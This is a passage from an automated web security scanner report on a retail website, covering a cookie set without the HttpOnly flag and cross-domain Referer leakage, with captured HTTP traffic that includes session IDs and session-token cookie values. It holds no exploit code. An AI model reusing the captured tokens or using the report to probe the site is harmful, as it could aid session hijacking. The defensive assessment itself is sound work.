The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=185-5393115-9309767; session-id-time=1314448281l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843485207%7D; fsr.a=1313843498085

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:40 GMT
Server: Server
x-amz-id-1: 1YVB6P9ATK2ZRCR8W5AE
p3p: policyref="http://www.target.com/w3c/p3p.xml",CP="NON DSP CURa ADMa DEVa TAIa PSAo PSDo IVAo IVDo CONo TELo OUR DELa SAMo PUBi OTRo IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
x-amz-id-2: UPpBEapx4Lzp16jlRd1osHg7L0/nkQ6XZ1sc96Mn4NEGxfMs+CIa9g==
Vary: Accept-Encoding,User-Agent
Cneonction: close
Content-Type: text/html; charset=UTF-8
Set-cookie: ubid-acbta=181-9529033-3089118; path=/; domain=.target.com; expires=Tue Jan 01 08:00:01 2036 GMT
Content-Length: 70918


<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="language"
...[SNIP]...

5. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


5.1. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=179-5433158-9247368; session-id-time=1314448265l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843469027%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:22 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=185-5393115-9309767; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: session-id-time=1314448282l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:22 GMT; Path=/
Set-Cookie: session-token="pMs0GUQ5DsYUhcm8YJnE6PfYQIDZBgn6pJLfbmnhlVEFNsBTZciAWzWiWzPZFPhG41oXgjN1BeKwL2+klthwpdOYiG9lyv0cHTNgWYzYqu+XuzfXlFvExRuaPbBnlMorDjb0tu1fcTOc7IOoOWwOOxgKfiRuBxqV2Cy5oWr299erf7VXkaFjjA=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:22 GMT; Path=/
Content-Length: 143787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
</script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/global-538827952._V1_.js"></script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/22/61/78/1322617810._V169474169_.js"></script>


<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/build/detail-317743658._V169479809_.css" />

<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/noJavaScript-505985155._V246791264_.css" />


<link rel="stylesheet" type="text/css" media="print" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/build/print-2779342366._V169479811_.css" />


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/detail-752946200._V169478608_.js"></script>
...[SNIP]...
</script>
<script src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/19/14/64/1319146490._V169493064_.js" type="text/javascript" language="JavaScript"></script>
...[SNIP]...
</map>


<img class="specialOffers" src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/63/11/43/1363114370._V184103657_.gif" alt="Free Shipping Every Day." usemap="#1363114370" />


</div>
...[SNIP]...
</div>


<iframe id="iMask" src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V192184801_.gif" title="empty" style="position:absolute; left:-300px; top:-300px; z-index:0;" frameborder="0"></iframe>
...[SNIP]...
<div id="gn">


<img src="http://g-ecx.images-amazon.com/images/G/16/nav/aug09_gn/bullseye._V156429372_.png" width="75" alt="Target Bullseye" id="social_bullseye" height="75" border="0" />

<div id="gn_bullseye">
...[SNIP]...
</div>


<img src="http://g-ecx.images-amazon.com/images/G/16/qview/qiImgHover_general._V192197879_.gif" width="74" alt="Quick Info" id="hoverImg_general" class="imageMapQuickInfoHover" height="19" border="0" />
<!-- iFrame for popup layers -->
...[SNIP]...
</map>


<img class="specialOffers" src="http://g-ecx.images-amazon.com/images/G/16/00/00/15/58/86/64/1558866470._V155515954_.png" alt="daily deals. denizen." usemap="#1558866470" />


</div>
...[SNIP]...
<noscript>
<iframe id="imageViewer" name="imageViewer" frameborder="0" height="380" marginwidth="0" marginheight="0" width="380"


src="http://ecx.images-amazon.com/images/I/319vBmvrKVL._AA380_.jpg" title="Product Image">



</iframe>
...[SNIP]...
"
       src="http://sellpointext.target.com/Syndicate/HasTour?ttpid=TTPID-176-178&vsr_sku=B003R8DNI8"    onLoad="target.externalcontent.onLoad(1);" onError="target.externalcontent.onError(1);"/>
       
       <img alt="" id="externalContentImage2" class="hiddenElement"
       src="http://media.easy2.com/dyna_includes2/actions/check_image.asp?e2__dyna_include_pid=193&e2__dyna_include_host=targ&e2__dyna_include_url=http%3A//www.target.com&asin=B003R8DNI8&e2__dyna_include_cache=true"    onLoad="target.externalcontent.onLoad(2);" onError="target.externalcontent.onError(2);"/>

       
       <img alt="" id="externalContentImage3" class="hiddenElement"
       src="http://sellpathext.target.com/Renderer/MxAvailability?ContentType=ProductTour&MxType=HostSku&Host=aed8a0b2-20c7-4579-a8
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
<a href="/Sizing-Shopping-Help/b/ref=nav_tr_help?ie=UTF8&node=10667971" class="sizingChart" target="_blank">
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/spacer._V192569202_.gif" height="1" alt="Sizing chart" width="1" border="0"/><span class="offscreen">
...[SNIP]...
<a href="/gp/store-info/find-target-store.html/ref=pd_act_FIAT?ie=UTF8&asin=B003R8DNI8&callingPage=detail" class='fiatsButton' title='Find it at a Target store'>
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/spacer._V192569202_.gif" height="1" alt="Find it at a Target store" width="1" border="0"/>
</a>
...[SNIP]...
</ul>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8" data-count="none" data-via="Target">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8&amp;layout=standard&amp;show_faces=false&amp;width=350&amp;action=like&amp;colorscheme=light&amp;height=35" title="Like On Facebook" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:35px;" allowTransparency="true"></iframe>
...[SNIP]...
gwvub_1_qi" id='B003R8DNI8:_1_qi' class='quickInfo quickInfo60' title='C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black'>

                                   
                                       <img border="0" title="C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black" alt="C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black" src="http://ecx.images-amazon.com/images/I/319vBmvrKVL._AA60_.jpg" height="60" width="60" />
                                   
                                   
                                </a>
...[SNIP]...
vub_2_qi" id='B0037UQWHU:_2_qi' class='quickInfo quickInfo60' title='Women's Plus-Size C9 by Champion&#174; Ebony Fitted Pant with Extended Sizes'>

                                   
                                       <img border="0" title="Women's Plus-Size C9 by Champion&#174; Ebony Fitted Pant with Extended Sizes" alt="Women's Plus-Size C9 by Champion&#174; Ebony Fitted Pant with Extended Sizes" src="http://ecx.images-amazon.com/images/I/41puxmkfujL._AA60_.jpg" height="60" width="60" />
                                   
                                   
                                </a>
...[SNIP]...
_3_qi" id='B004E56V8M:_3_qi' class='quickInfo quickInfo60' title='C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XLL'>

                                   
                                       <img border="0" title="C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XLL" alt="C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XLL" src="http://ecx.images-amazon.com/images/I/41l4rCS7W6L._AA60_.jpg" height="60" width="60" />
                                   
                                   
                                </a>
...[SNIP]...
1_qi" id='B004E56V8M:sc_ri_qi_1' title='C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XLL' class='quickInfo quickInfo108'>
<img border="0" src="http://ecx.images-amazon.com/images/I/41l4rCS7W6L._AA108_.jpg" alt="C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XLL" />
</a>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
ef=sc_pd_gwv_2_qi" id='B003TSYTW0:sc_ri_qi_2' title='C9 by Champion&#174; Women's Reversible Premium Pants - Ebony/Gray' class='quickInfo quickInfo108'>
<img border="0" src="http://ecx.images-amazon.com/images/I/417ejB7szmL._AA108_.jpg" alt="C9 by Champion&#174; Women's Reversible Premium Pants - Ebony/Gray" />
</a>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
/B004EK59PI/ref=sc_pd_gwv_3_qi" id='B004EK59PI:sc_ri_qi_3' title='C9 by Champion&#174; Women's Yoga Pants - Blue Herald' class='quickInfo quickInfo108'>
<img border="0" src="http://ecx.images-amazon.com/images/I/418A7lBIqPL._AA108_.jpg" alt="C9 by Champion&#174; Women's Yoga Pants - Blue Herald" />
</a>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
4_qi" id='B003R88XFG:sc_ri_qi_4' title='C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black/Teal' class='quickInfo quickInfo108'>
<img border="0" src="http://ecx.images-amazon.com/images/I/31xeoteUA-L._AA108_.jpg" alt="C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black/Teal" />
</a>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
sc_pd_gwv_5_qi" id='B003ZVFPVU:sc_ri_qi_5' title='C9 by Champion&#174; Women's Straight-Leg Fitted Cardio Pants - Ebony' class='quickInfo quickInfo108'>
<img border="0" src="http://ecx.images-amazon.com/images/I/41h1pFKvDEL._AA108_.jpg" alt="C9 by Champion&#174; Women's Straight-Leg Fitted Cardio Pants - Ebony" />
</a>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
_6_qi" id='B004E5A7OG:sc_ri_qi_6' title='C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; LL' class='quickInfo quickInfo108'>
<img border="0" src="http://ecx.images-amazon.com/images/I/41l4rCS7W6L._AA108_.jpg" alt="C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; LL" />
</a>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</li>
...[SNIP]...
<li>


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


</li>
...[SNIP]...
ass="input_txt" id="emailId" value="E-mail Address"
onfocus="if (this.value=='E-mail Address'){ this.value='' }" onblur="if (this.value==''){ this.value='E-mail Address' }" />
<img src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V192184801_.gif" height="1" width="1" alt=""></div>
...[SNIP]...
</map >
<img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/footer_redcard_save_5._V185475032_.gif" width="139" alt="RED Cards. Save 5 Percent Upon Credit Approval" usemap="#redcardmap" title="RED Cards. Save 5 Percent Upon Credit Approval" height="84" border="0" />
</div>
...[SNIP]...
<!--INSERT STANDARD PAGE TAG-->

<script src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/vs/zig-958101133._V1_.js"></script>
...[SNIP]...
<a href="/registry/baby/portal?ref=nav_targetbabylogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_TB_top._V192565976_.gif" height="51" width="198" alt="Target Baby Registry" border="0"></a>
...[SNIP]...
<a href="/registry/wedding/portal?ref=nav_clubweddlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_CW_top._V192565983_.gif" height="51" width="198" alt="Target Club Wedd Registry" border="0"></a>
...[SNIP]...
<button class="listSearchButton" type="submit" name="Submit" value="Search" title="Search Club Wedd" >
<img alt="search" src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/gn_nav2_cw_search._V192192257_.gif">
</button>
...[SNIP]...
<a href="/lists/portal?ref=nav_targetlistlogo"><img src="http://g-ecx.images-amazon.com/images/G/16/nav/jun09_global_nav/targetList_top._V192190967_.gif" height="51" width="198" alt="Target Lists" border="0"></a>
...[SNIP]...
<div id="footer-4"><iframe name="Empty" title="Empty" width="1" height="1" ID="Marketing" frameborder="0" src="//fls.doubleclick.net/activityi;src=951243;type=produ885;cat=produ474;u3=B003R8DNI8;ord=1;num=1313843482?"></iframe>
...[SNIP]...

5.2. http://www.target.com/s  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.target.com
Path:   /s

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; v1st=9C2B51AA83FFEFBB; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A1%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2F%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A1%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:06 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=179-5433158-9247368; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: session-id-time=1314448266l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:06 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:06 GMT; Path=/
Set-Cookie: session-token="UwJuk533+AV4O27KH2zyhuzdMH754Z7Ohf1wDR+schnx9402wInONDe2nfKuKFH5OYeqWE0YaVvdxFtUVMUmKGJsygetvrBjonyagcQypxTXmhVRgbe/NnsmBuoOlAKEpZ2868OquepKu1WEmtHNfEy3ifQcAZJz4oMA3aT9uHOQ5rT0AMaqSw=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:06 GMT; Path=/
Content-Length: 114757


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
</script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/global-538827952._V1_.js"></script>


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/00/00/13/22/61/78/1322617810._V169474169_.js"></script>
...[SNIP]...
<![endif]-->


<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/build/search_leaf-2629299349._V200812979_.css" />

<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/noJavaScript-505985155._V246791264_.css" />

<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/search-2695560972._V196223426_.css" />

<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/reviews-746070955._V185400460_.css" />

<link rel="stylesheet" type="text/css" href="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/css/search_leaf/quick_info-3779153160._V233167731_.css" />


<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/results-52860592._V167984008_.js"></script>

<script type="text/javascript" src="http://z-ecx.images-amazon.com/images/G/16/Target/en_US/inca/js/build/search_leaf_plugins-3308945144._V215046659_.js"></script>
...[SNIP]...
</map>


<img class="specialOffers" src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/63/11/43/1363114370._V184103657_.gif" alt="Free Shipping Every Day." usemap="#1363114370" />


</div>
...[SNIP]...
</div>


<iframe id="iMask" src="http://g-ecx.images-amazon.com/images/G/16/nav/spacer._V192184801_.gif" title="empty" style="position:absolute; left:-300px; top:-300px; z-index:0;" frameborder="0"></iframe>
...[SNIP]...
<div id="gn">


<img src="http://g-ecx.images-amazon.com/images/G/16/nav/aug09_gn/bullseye._V156429372_.png" width="75" alt="Target Bullseye" id="social_bullseye" height="75" border="0" />

<div id="gn_bullseye">
...[SNIP]...
</div>


<img src="http://g-ecx.images-amazon.com/images/G/16/qview/qiImgHover_general._V192197879_.gif" width="74" alt="Quick Info" id="hoverImg_general" class="imageMapQuickInfoHover" height="19" border="0" />
<!-- iFrame for popup layers -->
...[SNIP]...
</map>


<img class="specialOffers" src="http://g-ecx.images-amazon.com/images/G/16/00/00/15/58/86/64/1558866470._V155515954_.png" alt="daily deals. denizen." usemap="#1558866470" />


</div>
...[SNIP]...
bjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&searchRank=target104545&frombrowse=0" class="quickInfo quickInfo121" id="B0053H9UT2:sr_qi_1_1">
<img src="http://ecx.images-amazon.com/images/I/51SDFvO9w-L._AA121_.jpg"alt="Merona&#174; Maternity Sleeveless V-Neck Dress - Brown/Pink"width=121 height=121/>
    </a>
...[SNIP]...
<div class="promo1">


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</div>
...[SNIP]...
<div class="promo2">
   

<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


        </div>
...[SNIP]...
bjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&searchRank=target104545&frombrowse=0" class="quickInfo quickInfo121" id="B003R8DNI8:sr_qi_1_2">
<img src="http://ecx.images-amazon.com/images/I/319vBmvrKVL._AA121_.jpg"alt="C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black"width=121 height=121/>
    </a>
...[SNIP]...
<div class="promo1">


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</div>
...[SNIP]...
<div class="promo2">
   

<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


        </div>
...[SNIP]...
bjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&searchRank=target104545&frombrowse=0" class="quickInfo quickInfo121" id="B004E5GBCI:sr_qi_1_3">
<img src="http://ecx.images-amazon.com/images/I/41l4rCS7W6L._AA121_.jpg"alt="C9 by Champion&#174; Fitted Bootcut Pants with Extended Sizes - Black&#160; XSS"width=121 height=121/>
    </a>
...[SNIP]...
<div class="promo1">


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</div>
...[SNIP]...
<div class="promo2">
   

<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


        </div>
...[SNIP]...
bjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&searchRank=target104545&frombrowse=0" class="quickInfo quickInfo121" id="B0047ZCNDG:sr_qi_1_4">
<img src="http://ecx.images-amazon.com/images/I/41gO%2B%2BahW4L._AA121_.jpg"alt="Gilligan & O'Malley&#174; Womens Slub Robe - True White"width=121 height=121/>
    </a>
...[SNIP]...
<div class="promo1">


<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/13/98/54/97/1398549770._V182123267_.gif" height="23" alt="Free Shippin With Qualifying $50" width="112" border="0"/>


</div>
...[SNIP]...
<div class="promo2">
   

<img src="http://g-ecx.images-amazon.com/images/G/16/00/00/10/28/34/30/1028343030._V186383441_.gif" height="23" alt="buy and save" width="129" border="0"/>


        </div>
...[SNIP]...
</script>
<script src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
<div id="footer-3"><iframe name="Empty" title="Empty" width="1" height="1" ID="Marketing" frameborder="0" src="//fls.doubleclick.net/activityi;src=951243;type=searc718;cat=searc935;u5=xss;ord=1;num=1313843466?"></iframe>
...[SNIP]...
ype="text" class="input_txt" id="emailId" value="E-mail Address" onfocus="if (this.value=='E-mail Address'){ this.value='' }" onblur="if (this.value==''){ this.value='E-mail Address' }" />
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/spacer._V192569202_.gif" height="1" width="1" border="0"/>
</div>
...[SNIP]...
<button type="submit" name="Submit" value="Go" title="Go - will open a new window" style="background:none;padding:0;" >
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/buttons/btn_go._V196323967_.gif" height="18" alt="Submit email address - will open a new window" width="26" border="0"/>
</button>
...[SNIP]...
</map >
<img src="http://g-ecx.images-amazon.com/images/G/16/Target/en_US/inca/detail/footer_redcard_save_5._V198108461_.gif" title="RED Cards. Save 5 Percent Upon Credit Approval" height="84" usemap="#redcardmap" alt="RED Cards. Save 5 Percent Upon Credit Approval" width="139" border="0"/>
</div>
...[SNIP]...
